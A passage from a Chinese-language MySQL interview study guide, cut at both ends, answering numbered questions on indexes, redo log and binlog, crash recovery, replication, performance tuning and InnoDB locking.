数据更新的开销比较小。 -- 支持复杂查询(带 where 子句的查询) - -非关系型数据库(NOSQL)的优点 - -- 无需经过 SQL 层的解析,读写效率高。 -- 基于键值对,读写性能很高,易于扩展 -- 可以支持多种类型数据的存储,如图片,文档等等。 -- 扩展(可分为内存性数据库以及文档型数据库,比如 Redis,MongoDB,HBase 等,适合场景:数据量大高可用的日志系统/地理位置存储系统)。 - -### 2、详细说一下一条 MySQL 语句执行的步骤 - -Server 层按顺序执行 SQL 的步骤为: - -- 客户端请求 -> 连接器(验证用户身份,给予权限) -- 查询缓存(存在缓存则直接返回,不存在则执行后续操作) -- 分析器(对 SQL 进行词法分析和语法分析操作) -- 优化器(主要对执行的 SQL 优化选择最优的执行方案方法) -- 执行器(执行时会先看用户是否有执行权限,有才去使用这个引擎提供的接口)-> 去引擎层获取数据返回(如果开启查询缓存则会缓存查询结果) - -## 索引相关 - -### 3、MySQL 使用索引的原因? - -根本原因 - -- 索引的出现,就是为了提高数据查询的效率,就像书的目录一样。 -- 对于数据库的表而言,索引其实就是它的“目录”。 - -扩展 - -- 创建唯一性索引,可以保证数据库表中每一行数据的唯一性。 -- 帮助引擎层避免排序和临时表 -- 将随机 IO 变为顺序 IO,加速表和表之间的连接。 - -### 4、索引的三种常见底层数据结构以及优缺点 - -三种常见的索引底层数据结构:分别是哈希表、有序数组和搜索树。 - -- 哈希表这种适用于等值查询的场景,比如 memcached 以及其它一些 NoSQL 引擎,不适合范围查询。 -- 有序数组索引只适用于静态存储引擎,等值和范围查询性能好,但更新数据成本高。 -- N 叉树由于读写上的性能优点以及适配磁盘访问模式以及广泛应用在数据库引擎中。 -- 扩展(以 InnoDB 的一个整数字段索引为例,这个 N 差不多是 1200。棵树高是 4 的时候,就可以存 1200 的 3 次方个值,这已经 17 亿了。考虑到树根的数据块总是在内存中的,一个 10 亿行的表上一个整数字段的索引,查找一个值最多只需要访问 3 次磁盘。其实,树的第二层也有很大概率在内存中,那么访问磁盘的平均次数就更少了。) - -### 5、索引的常见类型以及它是如何发挥作用的? - -根据叶子节点的内容,索引类型分为主键索引和非主键索引。 - -- 主键索引的叶子节点存的整行数据,在InnoDB里也被称为聚簇索引。 -- 非主键索引叶子节点存的主键的值,在InnoDB里也被称为二级索引。 - -### 6、MyISAM 和 InnoDB 实现 B 树索引方式的区别是什么? - -- InnoDB 存储引擎:B+ 树索引的叶子节点保存数据本身,其数据文件本身就是索引文件。 -- MyISAM 存储引擎:B+ 树索引的叶子节点保存数据的物理地址,叶节点的 data 域存放的是数据记录的地址,索引文件和数据文件是分离的。 - -### 7、InnoDB 为什么设计 B+ 树索引? - -两个考虑因素: - -- InnoDB 需要执行的场景和功能需要在特定查询上拥有较强的性能。 -- CPU 将磁盘上的数据加载到内存中需要花费大量时间。 - -为什么选择 B+ 树: - -- 哈希索引虽然能提供O(1)复杂度查询,但对范围查询和排序却无法很好的支持,最终会导致全表扫描。 - -- B 树能够在非叶子节点存储数据,但会导致在查询连续数据可能带来更多的随机 IO。 - -- 而 B+ 树的所有叶节点可以通过指针来相互连接,减少顺序遍历带来的随机 IO。 - -- 普通索引还是唯一索引? - - 由于唯一索引用不上 change buffer 的优化机制,因此如果业务可以接受,从性能角度出发建议你优先考虑非唯一索引。 - -### 8、什么是覆盖索引和索引下推? - -覆盖索引: - -- 在某个查询里面,索引 k 已经“覆盖了”我们的查询需求,称为覆盖索引。 - -- 覆盖索引可以减少树的搜索次数,显著提升查询性能,所以使用覆盖索引是一个常用的性能优化手段。 - -索引下推: - -- MySQL 5.6 引入的索引下推优化(index condition pushdown), 可以在索引遍历过程中,对索引中包含的字段先做判断,直接过滤掉不满足条件的记录,减少回表次数。 - -### 9、哪些操作会导致索引失效? - -- 对索引使用左或者左右模糊匹配,也就是 like %xx 或者 like %xx% 这两种方式都会造成索引失效。原因在于查询的结果可能是多个,不知道从哪个索引值开始比较,于是就只能通过全表扫描的方式来查询。 -- 对索引进行函数/对索引进行表达式计算,因为索引保持的是索引字段的原始值,而不是经过函数计算的值,自然就没办法走索引。 -- 对索引进行隐式转换相当于使用了新函数。 -- WHERE 子句中的 OR语句,只要有条件列不是索引列,就会进行全表扫描。 - -### 10、字符串加索引 - -- 直接创建完整索引,这样可能会比较占用空间。 -- 创建前缀索引,节省空间,但会增加查询扫描次数,并且不能使用覆盖索引。 -- 倒序存储,再创建前缀索引,用于绕过字符串本身前缀的区分度不够的问题。 -- 创建 hash 字段索引,查询性能稳定,有额外的存储和计算消耗,跟第三种方式一样,都不支持范围扫描。 - -## 日志相关 - -### 11、MySQL 的 change buffer 是什么? - -- 当需要更新一个数据页时,如果数据页在内存中就直接更新;而如果这个数据页还没有在内存中的话,在不影响数据一致性的前提下,InnoDB 会将这些更新操作缓存在 change buffer 中。 -- 这样就不需要从磁盘中读入这个数据页了,在下次查询需要访问这个数据页的时候,将数据页读入内存,然后执行 change buffer 中与这个页有关的操作。通过这种方式就能保证这个数据逻辑的正确性。 -- 注意唯一索引的更新就不能使用 change buffer,实际上也只有普通索引可以使用。 -- 适用场景: -- - 对于写多读少的业务来说,页面在写完以后马上被访问到的概率比较小,此时 change buffer 的使用效果最好。这种业务模型常见的就是账单类、日志类的系统。 - - 反过来,假设一个业务的更新模式是写入之后马上会做查询,那么即使满足了条件,将更新先记录在 change buffer,但之后由于马上要访问这个数据页,会立即触发 merge 过程。这样随机访问 IO 的次数不会减少,反而增加了 change buffer 的维护代价。 - -### 12、MySQL 是如何判断一行扫描数的? - -- MySQL 在真正开始执行语句之前,并不能精确地知道满足这个条件的记录有多少条。 -- 而只能根据统计信息来估算记录数。这个统计信息就是索引的“区分度。 - -### 13、MySQL 的 redo log 和 binlog 区别? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/sidebar/herongwei/mysql-a2b8e123-41cb-4717-9225-3a8b49197004.png) - -### 14、为什么需要 redo log? - -- redo log 主要用于 MySQL 异常重启后的一种数据恢复手段,确保了数据的一致性。 -- 其实是为了配合 MySQL 的 WAL 机制。因为 MySQL 进行更新操作,为了能够快速响应,所以采用了异步写回磁盘的技术,写入内存后就返回。但是这样,会存在 **crash后** 内存数据丢失的隐患,而 redo log 具备 crash safe 的能力。 - -### 15、为什么 redo log 具有 crash-safe 的能力,是 binlog 无法替代的? - -第一点:redo log 可确保 innoDB 判断哪些数据已经刷盘,哪些数据还没有 - -- redo log 和 binlog 有一个很大的区别就是,一个是循环写,一个是追加写。也就是说 redo log 只会记录未刷盘的日志,已经刷入磁盘的数据都会从 redo log 这个有限大小的日志文件里删除。binlog 是追加日志,保存的是全量的日志。 - -- 当数据库 crash 后,想要恢复**未刷盘但已经写入 redo log 和 binlog 的数据**到内存时,binlog 是无法恢复的。虽然 binlog 拥有全量的日志,但没有一个标志让 innoDB 判断哪些数据已经刷盘,哪些数据还没有。 -- 但 redo log 不一样,只要刷入磁盘的数据,都会从 redo log 中抹掉,因为是循环写!数据库重启后,直接把 redo log 中的数据都恢复至内存就可以了。 - -第二点:如果 redo log 写入失败,说明此次操作失败,事务也不可能提交 - -- redo log 每次更新操作完成后,就一定会写入日志,如果**写入失败**,说明此次操作失败,事务也不可能提交。 -- redo log 内部结构是基于页的,记录了这个页的字段值变化,只要crash后读取redo log进行重放,就可以恢复数据。 -- 这就是为什么 redo log 具有 crash-safe 的能力,而 binlog 不具备。 - -### 16、当数据库 crash 后,如何恢复未刷盘的数据到内存中? - -根据 redo log 和 binlog 的两阶段提交,未持久化的数据分为几种情况: - -- change buffer 写入,redo log 虽然做了 fsync 但未 commit,binlog 未 fsync 到磁盘,这部分数据丢失。 - -- change buffer 写入,redo log fsync 未 commit,binlog 已经 fsync 到磁盘,先从 binlog 恢复 redo log,再从 redo log 恢复 change buffer。 - -- change buffer 写入,redo log 和 binlog 都已经 fsync,直接从 redo log 里恢复。 - -### 17、redo log 写入方式? - -redo log包括两部分内容,分别是内存中的**日志缓冲**(redo log buffer)和磁盘上的**日志文件**(redo log file)。 - -MySQL 每执行一条 DML 语句,会先把记录写入 **redo log buffer(用户空间)** ,再保存到内核空间的缓冲区 OS-buffer 中,后续某个时间点再一次性将多个操作记录写到 **redo log file(刷盘)** 。这种先写日志,再写磁盘的技术,就是**WAL**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/sidebar/herongwei/mysql-f901a97f-9d82-4d4e-a5be-559a64b3d9b8.png) - - -可以发现,redo log buffer写入到redo log file,是经过OS buffer中转的。其实可以通过参数innodb_flush_log_at_trx_commit进行配置,参数值含义如下: - -- 0:称为**延迟写**,事务提交时不会将redo log buffer中日志写入到OS buffer,而是每秒写入OS buffer并调用写入到redo log file中。 -- 1:称为**实时写**,实时刷”,事务每次提交都会将redo log buffer中的日志写入OS buffer并保存到redo log file中。 -- 2: 称为**实时写,延迟刷**。每次事务提交写入到OS buffer,然后是每秒将日志写入到redo log file。 - -### 18、redo log 的执行流程? - -我们来看下Redo log的执行流程,假设执行的 SQL 如下: - -``` -update T set a =1 where id =666 -``` - -![](https://cdn.paicoding.com/tobebetterjavaer/images/sidebar/herongwei/mysql-43fe6587-0cb8-49aa-bd93-0119e46430d7.png) - - -1. MySQL 客户端将请求语句 update T set a =1 where id =666,发往 MySQL Server 层。 -2. MySQL Server 层接收到 SQL 请求后,对其进行分析、优化、执行等处理工作,将生成的 SQL 执行计划发到 InnoDB 存储引擎层执行。 -3. InnoDB 存储引擎层将**a修改为1**的这个操作记录到内存中。 -4. 记录到内存以后会修改 redo log 的记录,会在添加一行记录,其内容是**需要在哪个数据页上做什么修改**。 -5. 此后,将事务的状态设置为 prepare ,说明已经准备好提交事务了。 -6. 等到 MySQL Server 层处理完事务以后,会将事务的状态设置为 **commit**,也就是提交该事务。 -7. 在收到事务提交的请求以后,**redo log** 会把刚才写入内存中的操作记录写入到磁盘中,从而完成整个日志的记录过程。 - -### 19、binlog 的概念是什么,起到什么作用, 可以保证 crash-safe 吗? - -- binlog 是归档日志,属于 MySQL Server 层的日志。可以实现**主从复制**和**数据恢复**两个作用。 -- 当需要**恢复数据**时,可以取出某个时间范围内的 binlog 进行重放恢复。 -- 但是 binlog 不可以做 crash safe,因为 crash 之前,binlog **可能没有写入完全** MySQL 就挂了。所以需要配合 **redo log** 才可以进行 crash safe。 - -### 20、什么是两阶段提交? - -MySQL 将 redo log 的写入拆成了两个步骤:prepare 和 commit,中间再穿插写入binlog,这就是"两阶段提交"。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/sidebar/herongwei/mysql-11420486-f9d0-483a-ba2e-a742ec4c518d.png) - - -而两阶段提交就是让这两个状态保持逻辑上的一致。redolog 用于恢复主机故障时的未更新的物理数据,binlog 用于备份操作。两者本身就是两个独立的个体,要想保持一致,就必须使用分布式事务的解决方案来处理。 - -**为什么需要两阶段提交呢?** - -- 如果不用两阶段提交的话,可能会出现这样情况 -- 先写 redo log,crash 后 bin log 备份恢复时少了一次更新,与当前数据不一致。 -- 先写 bin log,crash 后,由于 redo log 没写入,事务无效,所以后续 bin log 备份恢复时,数据不一致。 -- 两阶段提交就是为了保证 redo log 和 binlog 数据的安全一致性。只有在这两个日志文件逻辑上高度一致了才能放心的使用。 - -在恢复数据时,redolog 状态为 commit 则说明 binlog 也成功,直接恢复数据;如果 redolog 是 prepare,则需要查询对应的 binlog事务是否成功,决定是回滚还是执行。 - -### 21、MySQL 怎么知道 binlog 是完整的? - -一个事务的 binlog 是有完整格式的: - -- statement 格式的 binlog,最后会有 COMMIT; -- row 格式的 binlog,最后会有一个 XID event。 - -### 22、什么是 WAL 技术,有什么优点? - -WAL,中文全称是 Write-Ahead Logging,它的关键点就是日志先写内存,再写磁盘。MySQL 执行更新操作后,**在真正把数据写入到磁盘前,先记录日志**。 - - 好处是不用每一次操作都实时把数据写盘,就算 crash 后也可以通过redo log 恢复,所以能够实现快速响应 SQL 语句。 - -### 23、binlog 日志的三种格式 - - binlog 日志有三种格式 - -- Statement:基于SQL语句的复制((statement-based replication,SBR)) -- Row:基于行的复制。(row-based replication,RBR) -- Mixed:混合模式复制。(mixed-based replication,MBR) - - **Statement格式** - - 每一条会修改数据的 SQL 都会记录在 binlog 中 - -- 优点:不需要记录每一行的变化,减少了binlog日志量,节约了IO,提高性能。 -- 缺点:由于记录的只是执行语句,为了这些语句能在备库上正确运行,还必须记录每条语句在执行的时候的一些相关信息,以保证所有语句能在备库得到和在主库端执行时候相同的结果。 - - **Row格式** - - 不记录 SQL 语句上下文相关信息,仅保存哪条记录被修改。 - -- 优点:binlog 中可以不记录执行的 SQL 语句的上下文相关的信息,仅需要记录那一条记录被修改成什么了。所以rowlevel的日志内容会非常清楚的记录下每一行数据修改的细节。不会出现某些特定情况下的存储过程、或 function、或trigger的调用和触发无法被正确复制的问题。 -- 缺点:可能会产生大量的日志内容。 - - **Mixed格式** - - 实际上就是 Statement 与 Row 的结合。一般的语句修改使用 statment 格式保存 binlog,如一些函数,statement 无法完成主从复制的操作,则采用 row 格式保存 binlog,MySQL 会根据执行的每一条具体的 SQL 语句来区分对待记录的日志形式。 - -### 24、redo log日志格式 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/sidebar/herongwei/mysql-ee8a859f-d1e8-4ab6-94d1-9733373be825.png) - - -redo log buffer (内存中)是由首尾相连的四个文件组成的,它们分别是:ib_logfile_1、ib_logfile_2、ib_logfile_3、ib_logfile_4。 - -- write pos 是当前记录的位置,一边写一边后移,写到第 3 号文件末尾后就回到 0 号文件开头。 -- checkpoint 是当前要擦除的位置,也是往后推移并且循环的,擦除记录前要把记录更新到数据文件。 -- write pos 和 checkpoint 之间的是“粉板”上还空着的部分,可以用来记录新的操作。 -- 如果 write pos 追上 checkpoint,表示“粉板”满了,这时候不能再执行新的更新,得停下来先擦掉一些记录,把 checkpoint 推进一下。 -- 有了 redo log,当数据库发生宕机重启后,可通过 redo log将未落盘的数据(check point之后的数据)恢复,保证已经提交的事务记录不会丢失,这种能力称为**crash-safe**。 - -### 25、原本可以执行得很快的 SQL 语句,执行速度却比预期的慢很多,原因是什么?如何解决? - -原因:从大到小可分为四种情况 - -- MySQL 数据库本身被堵住了,比如:系统或网络资源不够。 -- SQL 语句被堵住了,比如:表锁,行锁等,导致存储引擎不执行对应的 SQL 语句。 -- 确实是索引使用不当,没有走索引。 -- 表中数据的特点导致的,走了索引,但回表次数庞大。 - -解决: - -- 考虑采用 force index 强行选择一个索引 -- 考虑修改语句,引导 MySQL 使用我们期望的索引。比如把“order by b limit 1” 改成 “order by b,a limit 1” ,语义的逻辑是相同的。 -- 第三种方法是,在有些场景下,可以新建一个更合适的索引,来提供给优化器做选择,或删掉误用的索引。 -- 如果确定是索引根本没必要,可以考虑删除索引。 - -### 26、InnoDB 数据页结构 - -一个数据页大致划分七个部分 - -- File Header:表示页的一些通用信息,占固定的38字节。 -- page Header:表示数据页专有信息,占固定的56字节。 -- inimum+Supermum:两个虚拟的伪记录,分别表示页中的最小记录和最大记录,占固定的26字节。 -- User Records:真正存储我们插入的数据,大小不固定。 -- Free Space:页中尚未使用的部分,大小不固定。 -- Page Directory:页中某些记录的相对位置,也就是各个槽对应的记录在页面中的地址偏移量。 -- File Trailer:用于检验页是否完整,占固定大小 8 字节。 - -## 数据相关 - -### 27、MySQL 是如何保证数据不丢失的? - -- 只要redolog 和 binlog 保证持久化磁盘就能确保MySQL异常重启后回复数据 -- 在恢复数据时,redolog 状态为 commit 则说明 binlog 也成功,直接恢复数据;如果 redolog 是 prepare,则需要查询对应的 binlog事务是否成功,决定是回滚还是执行。 - -### 28、误删数据怎么办? - -DBA 的最核心的工作就是保证数据的完整性,先要做好预防,预防的话大概是通过这几个点: - -- 权限控制与分配(数据库和服务器权限) -- 制作操作规范 -- 定期给开发进行培训 -- 搭建延迟备库 -- 做好 SQL 审计,只要是对线上数据有更改操作的语句(DML和DDL)都需要进行审核 -- 做好备份。备份的话又分为两个点 (1)如果数据量比较大,用物理备份 xtrabackup。定期对数据库进行全量备份,也可以做增量备份。 (2)如果数据量较少,用 mysqldump 或者 mysqldumper。再利用 binlog 来恢复或者搭建主从的方式来恢复数据。 定期备份binlog 文件也是很有必要的 -- 如果发生了数据删除的操作,又可以从以下几个点来恢复: -- DML 误操作语句造成数据不完整或者丢失。可以通过 flashback,美团的 myflash,也是一个不错的工具,本质都差不多,都是先解析 binlog event,然后在进行反转。把 delete 反转为insert,insert 反转为 delete,update前后 image 对调。所以必须设置binlog_format=row 和 binlog_row_image=full,切记恢复数据的时候,应该先恢复到临时的实例,然后在恢复回主库上。 -- DDL语句误操作(truncate和drop),由于DDL语句不管 binlog_format 是 row 还是 statement ,在 binlog 里都只记录语句,不记录 image 所以恢复起来相对要麻烦得多。只能通过全量备份+应用 binlog 的方式来恢复数据。一旦数据量比较大,那么恢复时间就特别长 -- rm 删除:使用备份跨机房,或者最好是跨城市保存。 - -### 29、drop、truncate 和 delete 的区别 - -- DELETE 语句执行删除的过程是每次从表中删除一行,并且同时将该行的删除操作作为事务记录在日志中保存以便进行进行回滚操作。 -- TRUNCATE TABLE 则一次性地从表中删除所有的数据并不把单独的删除操作记录记入日志保存,删除行是不能恢复的。并且在删除的过程中不会激活与表有关的删除触发器。执行速度快。 -- drop语句将表所占用的空间全释放掉。 -- 在速度上,一般来说,drop> truncate > delete。 -- 如果想删除部分数据用 delete,注意带上 where 子句,回滚段要足够大; -- 如果想删除表,当然用 drop; 如果想保留表而将所有数据删除,如果和事务无关,用 truncate 即可; -- 如果和事务有关,或者想触发 trigger,还是用 delete; 如果是整理表内部的碎片,可以用 truncate 跟上 reuse stroage,再重新导入/插入数据。 - -### 30、在 MySQL 中有两个 kill 命令 - -- 一个是 kill query + 线程 id,表示终止这个线程中正在执行的语句 -- 一个是 kill connection + 线程 id,这里 connection 可缺省,表示断开这个线程的连接 - -kill 不掉的原因 - -- kill命令被堵了,还没到位 -- kill命令到位了,但是没被立刻触发 -- kill命令被触发了,但执行完也需要时间 - -### 31、如何理解 MySQL 的边读边发 - -- 如果客户端接受慢,会导致 MySQL 服务端由于结果发不出去,这个事务的执行时间会很长。 -- 服务端并不需要保存一个完整的结果集,取数据和发数据的流程都是通过一个 next_buffer 来操作的。 -- 内存的数据页都是在 Buffer_Pool中操作的。 -- InnoDB 管理 Buffer_Pool 使用的是改进的 LRU 算法,使用链表实现,实现上,按照 5:3 的比例把整个 LRU 链表分成了 young 区域和 old 区域。 - -### 32、MySQL 的大表查询为什么不会爆内存? - -- 由于 MySQL 是边读变发,因此对于数据量很大的查询结果来说,不会再 server 端保存完整的结果集,所以,如果客户端读结果不及时,会堵住 MySQL 的查询过程,但是不会把内存打爆。 -- InnoDB 引擎内部,由于有淘汰策略,InnoDB 管理 Buffer_Pool 使用的是改进的 LRU 算法,使用链表实现,实现上,按照 5:3 的比例把整个 LRU 链表分成了 young 区域和 old 区域。对冷数据的全扫描,影响也能做到可控制。 - -### 33、MySQL 临时表的用法和特性 - -- 只对当前session可见。 -- 可以与普通表重名。 -- 增删改查用的是临时表。 -- show tables 不显示普通表。 -- 在实际应用中,临时表一般用于处理比较复杂的计算逻辑。 -- 由于临时表是每个线程自己可见的,所以不需要考虑多个线程执行同一个处理时临时表的重名问题,在线程退出的时候,临时表会自动删除。 - -### 34、MySQL 存储引擎介绍(InnoDB、MyISAM、MEMORY) - -- InnoDB 是事务型数据库的首选引擎,支持事务安全表 (ACID),支持行锁定和外键。MySQL5.5.5 之后,InnoDB 作为默认存储引擎 -- MyISAM 基于 ISAM 的存储引擎,并对其进行扩展。它是在 Web、数据存储和其他应用环境下最常用的存储引擎之一。MyISAM 拥有较高的插入、查询速度,但不支持事务。在 MySQL5.5.5 之前的版本中,MyISAM 是默认存储引擎 -- MEMORY 存储引擎将表中的数据存储到内存中,为查询和引用其他表数据提供快速访问。 - -### 35、都说 InnoDB 好,那还要不要使用 MEMORY 引擎? - -- 内存表就是使用 memory 引擎创建的表 -- 为什么我不建议你在生产环境上使用内存表。这里的原因主要包括两个方面:锁粒度问题;数据持久化问题。 -- 由于重启会丢数据,如果一个备库重启,会导致主备同步线程停止;如果主库跟这个备库是双 M 架构,还可能导致主库的内存表数据被删掉。 - -### 36、如果数据库误操作, 如何执行数据恢复? - -数据库在某个时候误操作,就可以找到距离误操作最近的时间节点的bin log,重放到临时数据库里,然后选择误删的数据节点,恢复到线上数据库。 - -## 主从备份相关 - -### 37、MySQL 是如何保证主备同步? - -主备关系的建立: - -- 一开始创建主备关系的时候,是由备库指定的,比如基于位点的主备关系,备库说“我要从binlog文件A的位置P”开始同步,主库就从这个指定的位置开始往后发。 -- 而主备关系搭建之后,是主库决定要发给数据给备库的,所以主库有新的日志也会发给备库。 - -MySQL 主备切换流程: - -- 客户端读写都是直接访问A,而节点B是备库,只要将A的更新都同步过来,到本地执行就可以保证数据是相同的。 -- 当需要切换的时候就把节点换一下,A的节点B的备库 - -一个事务完整的同步过程: - -- 备库B和主库A建立来了长链接,主库A内部专门线程用于维护了这个长链接。 - -- 在备库B上通过changemaster命令设置主库A的IP端口用户名密码以及从哪个位置开始请求binlog包括文件名和日志偏移量 -- 在备库B上执行start-slave命令备库会启动两个线程:io_thread和sql_thread分别负责建立连接和读取中转日志进行解析执行 -- 备库读取主库传过来的binlog文件备库收到文件写到本地成为中转日志 -- 后来由于多线程复制方案的引入,sql_thread演化成了多个线程。 - -### 38、什么是主备延迟 - -主库和备库在执行同一个事务的时候出现时间差的问题,主要原因有: - -- 有些部署条件下,备库所在机器的性能要比主库性能差。 -- 备库的压力较大。 -- 大事务,一个主库上语句执行10分钟,那么这个事务可能会导致从库延迟10分钟。 - -### 39、为什么要有多线程复制策略? - -- 因为单线程复制的能力全面低于多线程复制,对于更新压力较大的主库,备库可能是一直追不上主库的,带来的现象就是备库上seconds_behind_master值越来越大。 -- 在实际应用中,建议使用可靠性优先策略,减少主备延迟,提升系统可用性,尽量减少大事务操作,把大事务拆分小事务。 - -### 40、MySQL 的并行策略有哪些? - -- 按表分发策略:如果两个事务更新不同的表,它们就可以并行。因为数据是存储在表里的,所以按表分发,可以保证两个 worker 不会更新同一行。缺点:如果碰到热点表,比如所有的更新事务都会涉及到某一个表的时候,所有事务都会被分配到同一个 worker 中,就变成单线程复制了。 -- 按行分发策略:如果两个事务没有更新相同的行,它们在备库上可以并行。如果两个事务没有更新相同的行,它们在备库上可以并行执行。显然,这个模式要求 binlog 格式必须是 row。缺点:相比于按表并行分发策略,按行并行策略在决定线程分发的时候,需要消耗更多的计算资源。 - -### 41、MySQL的一主一备和一主多从有什么区别? - -在一主一备的双 M 架构里,主备切换只需要把客户端流量切到备库;而在一主多从架构里,主备切换除了要把客户端流量切到备库外,还需要把从库接到新主库上。 - -### 42、主库出问题如何解决? - -- 基于位点的主备切换:存在找同步位点这个问题 -- MySQL 5.6 版本引入了 GTID,彻底解决了这个困难。那么,GTID 到底是什么意思,又是如何解决找同步位点这个问题呢? -- GTID:全局事务 ID,是一个事务在提交的时候生成的,是这个事务的唯一标识;它由两部分组成,格式是:GTID=server_uuid:gno -- 每个 MySQL 实例都维护了一个 GTID 集合,用来对应“这个实例执行过的所有事务”。 -- 在基于 GTID 的主备关系里,系统认为只要建立主备关系,就必须保证主库发给备库的日志是完整的。因此,如果实例 B 需要的日志已经不存在,A’就拒绝把日志发给 B。 - -### 43、MySQL 读写分离涉及到过期读问题的几种解决方案? - -- 强制走主库方案 -- sleep 方案 -- 判断主备无延迟方案 -- 配合 semi-sync 方案 -- 等主库位点方案 -- GTID 方案。 -- 实际生产中,先客户端对请求做分类,区分哪些请求可以接受过期读,而哪些请求完全不能接受过期读;然后,对于不能接受过期读的语句,再使用等 GTID 或等位点的方案。 - -### 44、MySQL的并发链接和并发查询有什么区别? - -- 在执行show processlist的结果里,看到了几千个连接,指的是并发连接。而"当前正在执行"的语句,才是并发查询。 -- 并发连接数多影响的是内存,并发查询太高对CPU不利。一个机器的CPU核数有限,线程全冲进来,上下文切换的成本就会太高。 -- 所以需要设置参数:innodb_thread_concurrency 用来限制线程数,当线程数达到该参数,InnoDB就会认为线程数用完了,会阻止其他语句进入引擎执行。 - -## 性能相关 - -### 45、短时间提高 MySQL 性能的方法 - -- 第一种方法:先处理掉那些占着连接但是不工作的线程。或者再考虑断开事务内空闲太久的连接。 kill connection + id -- 第二种方法:减少连接过程的消耗:慢查询性能问题在 MySQL 中,会引发性能问题的慢查询,大体有以下三种可能:索引没有设计好;SQL 语句没写好;MySQL 选错了索引(force index)。 - -### 46、为什么 MySQL 自增主键 ID 不连续? - -- 唯一键冲突 -- 事务回滚 -- 自增主键的批量申请 - -- 深层次原因是:MySQL 不判断自增主键是否存在,从而减少加锁的时间范围和粒度,这样能保持更高的性能,确保自增主键不能回退,所以才有自增主键不连续。 -- 自增主键怎么做到唯一性?自增值加1来通过自增锁控制并发 - -### 47、InnoDB 为什么要用自增 ID 作为主键? - -- 自增主键的插入模式,符合递增插入,每次都是追加操作,不涉及挪动记录,也不会触发叶子节点的分裂。 -- 每次插入新的记录就会顺序添加到当前索引节点的后续位置,当一页写满,就会自动开辟一个新的页。 - -- 而有业务逻辑的字段做主键,不容易保证有序插入,由于每次插入主键的值近似于随机 -- 因此每次新纪录都要被插到现有索引页得中间某个位置, 频繁的移动、分页操作造成了大量的碎片,得到了不够紧凑的索引结构,写数据成本较高。 - -### 48、如何最快的复制一张表? - -- 为了避免对源表加读锁,更稳妥的方案是先将数据写到外部文本文件,然后再写回目标表 -- 一种方法是,使用 mysqldump 命令将数据导出成一组 INSERT 语句 -- 另一种方法是直接将结果导出成.csv 文件。MySQL 提供语法,用来将查询结果导出到服务端本地目录:`select * from db1.t where a>900 into outfile '/server_tmp/t.csv'`;得到.csv 导出文件后,你就可以用下面的 load data 命令将数据导入到目标表 db2.t 中:`load data infile '/server_tmp/t.csv' into table db2.t;` -- 物理拷贝:在 MySQL 5.6 版本引入了可传输表空间(transportable tablespace) 的方法,可以通过导出 + 导入表空间的方式,实现物理拷贝表的功能。 - -### 49、grant 和 flush privileges语句 - -- grant语句会同时修改数据表和内存,判断权限的时候使用的内存数据,因此,规范使用是不需要加上 flush privileges 语句。 -- flush privileges 语句本身会用数据表的数据重建一份内存权限数据,所以在权限数据可能存在不一致的情况下再使用。 - -### 50、要不要使用分区表? - -- 分区并不是越细越好。实际上,单表或者单分区的数据一千万行,只要没有特别大的索引,对于现在的硬件能力来说都已经是小表了。 -- 分区也不要提前预留太多,在使用之前预先创建即可。比如,如果是按月分区,每年年底时再把下一年度的 12 个新分区创建上即可。对于没有数据的历史分区,要及时的 drop 掉。 - -### 51、join 用法 - -- 使用 left join 左边的表不一定是驱动表 -- 如果需要 left join 的语义,就不能把被驱动表的字段放在 where 条件里面做等值判断或不等值判断,必须都写在 on 里面 -- 标准的 group by 语句,是需要在 select 部分加一个聚合函数,比如`select a,count(*) from t group by a order by null;` - -### 52、MySQL 有哪些自增ID?各自场景是什么? - -- 表的自增 ID 达到上限之后,在申请值不会变化,进而导致联系插入数据的时候报主键冲突错误。 - -- row_id 达到上限之后,归 0 在重新递增,如果出现相同的 row_id 后写的数据会覆盖之前的数据。 - -- Xid 只需要不在同一个 binlog 文件出现重复值即可,理论上会出现重复值,但概率极小可忽略不计。 - -- InnoDB 的 max_trx_id 递增值每次 MySQL 重启会保存起来。 - -- Xid 是由 server 层维护的。InnoDB 内部使用 Xid,就是为了能够在 InnoDB 事务和 server 之间做关联。但是,InnoDB 自己的 trx_id,是另外维护的。 -- thread_id 是我们使用中最常见的,而且也是处理得最好的一个自增 id 逻辑了。使用了insert_unique算法 - -### 53、Xid 在 MySQL 内部是怎么生成的呢? - -**MySQL 内部维护了一个全局变量 global_query_id,每次执行语句(包括select语句)的时候将它赋值给 Query_id,然后给这个变量加 1。如果当前语句是这个事务执行的第一条语句,那么 MySQL 还会同时把 Query_id 赋值给这个事务的 Xid。** - -而 global_query_id 是一个纯内存变量,重启之后就清零了。所以你就知道了,在同一个数据库实例中,不同事务的 Xid 也是有可能相同的。但是 MySQL 重启之后会重新生成新的 binlog 文件,这就保证了,同一个 binlog 文件里,Xid 一定是惟一的。 - -## 锁相关 - -### 54、说一下 MySQL 的锁 - -- MySQL 在 server 层 和 存储引擎层 都运用了大量的锁 -- MySQL server 层需要讲两种锁,第一种是MDL(metadata lock) 元数据锁,第二种则 Table Lock 表锁。 -- MDL 又名元数据锁,那么什么是元数据呢,任何描述数据库的内容就是元数据,比如我们的表结构、库结构等都是元数据。那为什么需要 MDL 呢? -- 主要解决两个问题:事务隔离问题;数据复制问题 -- InnoDB 有五种表级锁:IS(意向读锁);IX(意向写锁);S(读);X(写);AUTO-INC -- 在对表进行select/insert/delete/update语句时候不会加表级锁 -- IS和IX的作用是为了判断表中是否有已经被加锁的记录 -- 自增主键的保障就是有 AUTO-INC 锁,是语句级别的:为表的某个列添加 AUTO_INCREMENT 属性,之后在插⼊记录时,可以不指定该列的值,系统会⾃动为它赋上单调递增的值。 -- InnoDB 4 种行级锁 -- RecordLock:记录锁 -- GapLock:间隙锁解决幻读;前一次查询不存在的东西在下一次查询出现了,其实就是事务A中的两次查询之间事务B执行插入操作被事务A感知了 -- Next-KeyLock:锁住某条记录又想阻止其它事务在改记录前面的间隙插入新纪录 -- InsertIntentionLock:插入意向锁;如果插入到同一行间隙中的多个事务未插入到间隙内的同一位置则无须等待 -- 行锁和表锁的抉择 - - 全表扫描用行级锁 - -### 55、什么是幻读? - -值在同一个事务中,存在前后两次查询同一个范围的数据,第二次看到了第一次没有查询到的数据。 - -幻读出现的场景: - -- 事务的隔离级别是可重复读,且是当前读。 -- 幻读指新插入的行。 - -幻读带来的问题: - -- 对行锁语义的破坏 -- 破坏了数据一致性 - -解决: - -- 